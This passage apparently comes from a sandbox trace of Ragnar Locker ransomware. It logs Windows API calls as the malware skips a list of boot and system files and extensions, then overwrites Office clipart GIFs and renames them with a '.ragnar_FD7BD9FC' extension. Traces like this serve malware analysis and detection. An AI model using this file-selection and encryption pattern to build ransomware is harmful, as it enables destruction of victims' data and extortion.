(lpAddress=0x0, dwSize=0x1126, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.851] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.851] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.852] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1126, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1126, lpOverlapped=0x0) returned 1 [0079.852] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.852] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1126, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.852] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1126, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1126, lpOverlapped=0x0) returned 1 [0079.853] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1126, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.853] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.853] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1126, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.853] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.853] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.853] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.853] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.853] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.853] GetProcessHeap () returned 0x580000 [0079.853] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.853] CloseHandle (hObject=0xf4) returned 1 [0079.853] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" [0079.853] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.ragnar_FD7BD9FC" [0079.853] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.854] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde4d3e00, ftCreationTime.dwHighDateTime=0x1bd4e56, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xde4d3e00, ftLastWriteTime.dwHighDateTime=0x1bd4e56, nFileSizeHigh=0x0, nFileSizeLow=0xf7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00174_.GIF", cAlternateFileName="")) returned 1 [0079.854] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.854] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AG00174_.GIF" | out: lpString1="AG00174_.GIF") returned="AG00174_.GIF" [0079.854] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned=".GIF" [0079.854] lstrcmpiW (lpString1="AG00174_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.854] lstrcmpiW (lpString1="AG00174_.GIF", lpString2="autorun.inf") returned -1 [0079.854] lstrcmpiW (lpString1="AG00174_.GIF", lpString2="boot.ini") returned -1 [0079.854] lstrcmpiW (lpString1="AG00174_.GIF", lpString2="bootfont.bin") returned -1 [0079.854] lstrcmpiW (lpString1="AG00174_.GIF", lpString2="bootsect.bak") returned -1 [0079.854] lstrcmpiW (lpString1="AG00174_.GIF", lpString2="bootmgr") returned -1 [0079.854] lstrcmpiW (lpString1="AG00174_.GIF", lpString2="bootmgr.efi") returned -1 [0079.854] lstrcmpiW (lpString1="AG00174_.GIF", lpString2="bootmgfw.efi") returned -1 [0079.854] lstrcmpiW (lpString1="AG00174_.GIF", lpString2="desktop.ini") returned -1 [0079.854] lstrcmpiW (lpString1="AG00174_.GIF", lpString2="iconcache.db") returned -1 [0079.854] lstrcmpiW (lpString1="AG00174_.GIF", lpString2="ntldr") returned -1 [0079.854] lstrcmpiW (lpString1="AG00174_.GIF", lpString2="ntuser.dat") returned -1 [0079.854] lstrcmpiW (lpString1="AG00174_.GIF", lpString2="ntuser.dat.log") returned -1 [0079.854] lstrcmpiW (lpString1="AG00174_.GIF", lpString2="ntuser.ini") returned -1 [0079.854] lstrcmpiW (lpString1="AG00174_.GIF", lpString2="thumbs.db") returned -1 [0079.854] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0079.855] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0079.855] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0079.855] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0079.855] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0079.855] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0079.855] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0079.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif")) returned 0x20 [0079.855] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.855] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3966) returned 1 [0079.855] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xf75, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.855] GetProcessHeap () returned 0x580000 [0079.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.855] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.857] VirtualAlloc (lpAddress=0x0, dwSize=0xf7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.857] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.857] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.857] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xf7e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xf7e, lpOverlapped=0x0) returned 1 [0079.857] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.857] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf7e, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.857] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xf7e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xf7e, lpOverlapped=0x0) returned 1 [0079.857] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf7e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.857] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.857] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xf7e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.858] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.858] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.858] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.858] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.858] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.858] GetProcessHeap () returned 0x580000 [0079.858] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.858] CloseHandle (hObject=0xf4) returned 1 [0079.858] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" [0079.858] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.ragnar_FD7BD9FC" [0079.858] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.859] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc18a400, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc18a400, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xd32, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00175_.GIF", cAlternateFileName="")) returned 1 [0079.859] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.859] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AG00175_.GIF" | out: lpString1="AG00175_.GIF") returned="AG00175_.GIF" [0079.859] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned=".GIF" [0079.859] lstrcmpiW (lpString1="AG00175_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.859] lstrcmpiW (lpString1="AG00175_.GIF", lpString2="autorun.inf") returned -1 [0079.859] lstrcmpiW (lpString1="AG00175_.GIF", lpString2="boot.ini") returned -1 [0079.859] lstrcmpiW (lpString1="AG00175_.GIF", lpString2="bootfont.bin") returned -1 [0079.859] lstrcmpiW (lpString1="AG00175_.GIF", lpString2="bootsect.bak") returned -1 [0079.859] lstrcmpiW (lpString1="AG00175_.GIF", lpString2="bootmgr") returned -1 [0079.859] lstrcmpiW (lpString1="AG00175_.GIF", lpString2="bootmgr.efi") returned -1 [0079.859] lstrcmpiW (lpString1="AG00175_.GIF", lpString2="bootmgfw.efi") returned -1 [0079.859] lstrcmpiW (lpString1="AG00175_.GIF", lpString2="desktop.ini") returned -1 [0079.859] lstrcmpiW (lpString1="AG00175_.GIF", lpString2="iconcache.db") returned -1 [0079.859] lstrcmpiW (lpString1="AG00175_.GIF", lpString2="ntldr") returned -1 [0079.859] lstrcmpiW (lpString1="AG00175_.GIF", lpString2="ntuser.dat") returned -1 [0079.859] lstrcmpiW (lpString1="AG00175_.GIF", lpString2="ntuser.dat.log") returned -1 [0079.859] lstrcmpiW (lpString1="AG00175_.GIF", lpString2="ntuser.ini") returned -1 [0079.859] lstrcmpiW (lpString1="AG00175_.GIF", lpString2="thumbs.db") returned -1 [0079.859] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0079.859] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0079.859] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0079.859] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0079.859] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0079.859] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0079.859] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0079.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif")) returned 0x20 [0079.860] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.860] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3378) returned 1 [0079.860] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd29, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.860] GetProcessHeap () returned 0x580000 [0079.860] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.860] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.861] VirtualAlloc (lpAddress=0x0, dwSize=0xd32, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.861] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.861] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.862] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xd32, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xd32, lpOverlapped=0x0) returned 1 [0079.862] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.862] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd32, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.862] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xd32, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xd32, lpOverlapped=0x0) returned 1 [0079.862] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd32, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.862] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.862] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd32, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.862] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.862] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.862] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.862] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.862] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.863] GetProcessHeap () returned 0x580000 [0079.863] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.863] CloseHandle (hObject=0xf4) returned 1 [0079.863] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" [0079.863] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.ragnar_FD7BD9FC" [0079.863] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.863] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e3cb900, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e3cb900, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xc30, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00176_.GIF", cAlternateFileName="")) returned 1 [0079.863] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.863] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AG00176_.GIF" | out: lpString1="AG00176_.GIF") returned="AG00176_.GIF" [0079.863] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF") returned=".GIF" [0079.863] lstrcmpiW (lpString1="AG00176_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.863] lstrcmpiW (lpString1="AG00176_.GIF", lpString2="autorun.inf") returned -1 [0079.863] lstrcmpiW (lpString1="AG00176_.GIF", lpString2="boot.ini") returned -1 [0079.863] lstrcmpiW (lpString1="AG00176_.GIF", lpString2="bootfont.bin") returned -1 [0079.863] lstrcmpiW (lpString1="AG00176_.GIF", lpString2="bootsect.bak") returned -1 [0079.864] lstrcmpiW (lpString1="AG00176_.GIF", lpString2="bootmgr") returned -1 [0079.864] lstrcmpiW (lpString1="AG00176_.GIF", lpString2="bootmgr.efi") returned -1 [0079.864] lstrcmpiW (lpString1="AG00176_.GIF", lpString2="bootmgfw.efi") returned -1 [0079.864] lstrcmpiW (lpString1="AG00176_.GIF", lpString2="desktop.ini") returned -1 [0079.864] lstrcmpiW (lpString1="AG00176_.GIF", lpString2="iconcache.db") returned -1 [0079.864] lstrcmpiW (lpString1="AG00176_.GIF", lpString2="ntldr") returned -1 [0079.864] lstrcmpiW (lpString1="AG00176_.GIF", lpString2="ntuser.dat") returned -1 [0079.864] lstrcmpiW (lpString1="AG00176_.GIF", lpString2="ntuser.dat.log") returned -1 [0079.864] lstrcmpiW (lpString1="AG00176_.GIF", lpString2="ntuser.ini") returned -1 [0079.864] lstrcmpiW (lpString1="AG00176_.GIF", lpString2="thumbs.db") returned -1 [0079.864] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0079.864] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0079.864] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0079.864] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0079.864] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0079.864] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0079.864] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0079.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif")) returned 0x20 [0079.864] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.864] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3120) returned 1 [0079.865] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc27, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.865] GetProcessHeap () returned 0x580000 [0079.865] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.865] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.866] VirtualAlloc (lpAddress=0x0, dwSize=0xc30, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.867] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.867] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.867] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xc30, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xc30, lpOverlapped=0x0) returned 1 [0079.867] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.867] LockFile (hFile=0xf4, 